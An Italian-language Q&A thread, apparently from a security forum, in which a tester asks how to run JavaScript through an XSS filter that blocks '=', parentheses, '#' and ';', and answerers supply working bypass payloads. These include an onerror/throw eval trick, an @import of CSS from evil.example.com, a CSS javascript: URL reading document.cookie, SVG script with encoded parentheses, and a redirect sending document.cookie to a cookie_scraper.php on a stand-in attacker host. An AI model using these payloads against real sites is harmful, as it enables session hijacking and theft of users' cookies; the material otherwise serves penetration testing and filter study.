Cross scripting sito senza caratteri speciali

21

Sto testando un'applicazione web e ho trovato una vulnerabilità XSS. Posso rompere un tag e iniettare del codice nell'applicazione, ma nulla di molto pericoloso per il client.

L'applicazione ha un filtro che rileva caratteri speciali e alcune stringhe, oltre a poter ignorare il filtro per il riconoscimento delle stringhe iniettando valori nulli (< scr% 00ipt >) tra i suoi caratteri, ma non riesco a capire come per bypassarlo per un singolo carattere.

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

Il filtro non utilizza la conversione dei caratteri e quando viene rilevato qualcosa non consentito viene visualizzato un messaggio di errore: Parametri non validi rilevati

Forse mi manca qualcosa ma oggi non vedo come eseguire javascript in queste condizioni. Qualche idea?

    
posta Nucklear 29.05.2013 - 15:53
fonte

3 risposte

23

Sì, questo è possibile. C'è un trucco che puoi fare con onerror :

<img src=x onerror=eval;throw'=alert\x281\x29';>

Il throw genera una stringa JavaScript che viene quindi ritrasformata in eval perché throw costituisce un errore. Questo ti dà un'iniezione di codice JavaScript completamente arbitraria.

OK, quindi dici che non possiamo usare un segno di uguale. Invece, suggerisco questo trucco:

"><style>@import'http://evil.example.com/xss.css';</style>

Questo include un file CSS di terze parti nella pagina. Da lì puoi avviare JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

Ci sono anche altri trucchi che puoi usare per ottenere l'esecuzione JavaScript dai CSS.

    
risposta data 29.05.2013 - 16:14
fonte
19

Bloccare le parentesi è strano, non sono a conoscenza di alcun attacco che questo impedisce. XSS senza parentesi è possibile .

Per i browser che supportano svg :

<svg>
    <script>alert&#40/1/.source&#41</script>
</svg>

Se vuoi solo un semplice PoC, questo dovrebbe funzionare:

<script>onerror=alert;throw 1;</script>

Ma un exploit del mondo reale non richiede una parentesi:

document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
    
risposta data 29.05.2013 - 16:10
fonte
2

Semplice trucco con VBScript: <input onfocus=vbs:msgbox+1> [funziona in IE]

    
risposta data 04.06.2013 - 13:31
fonte

Leggi altre domande sui tag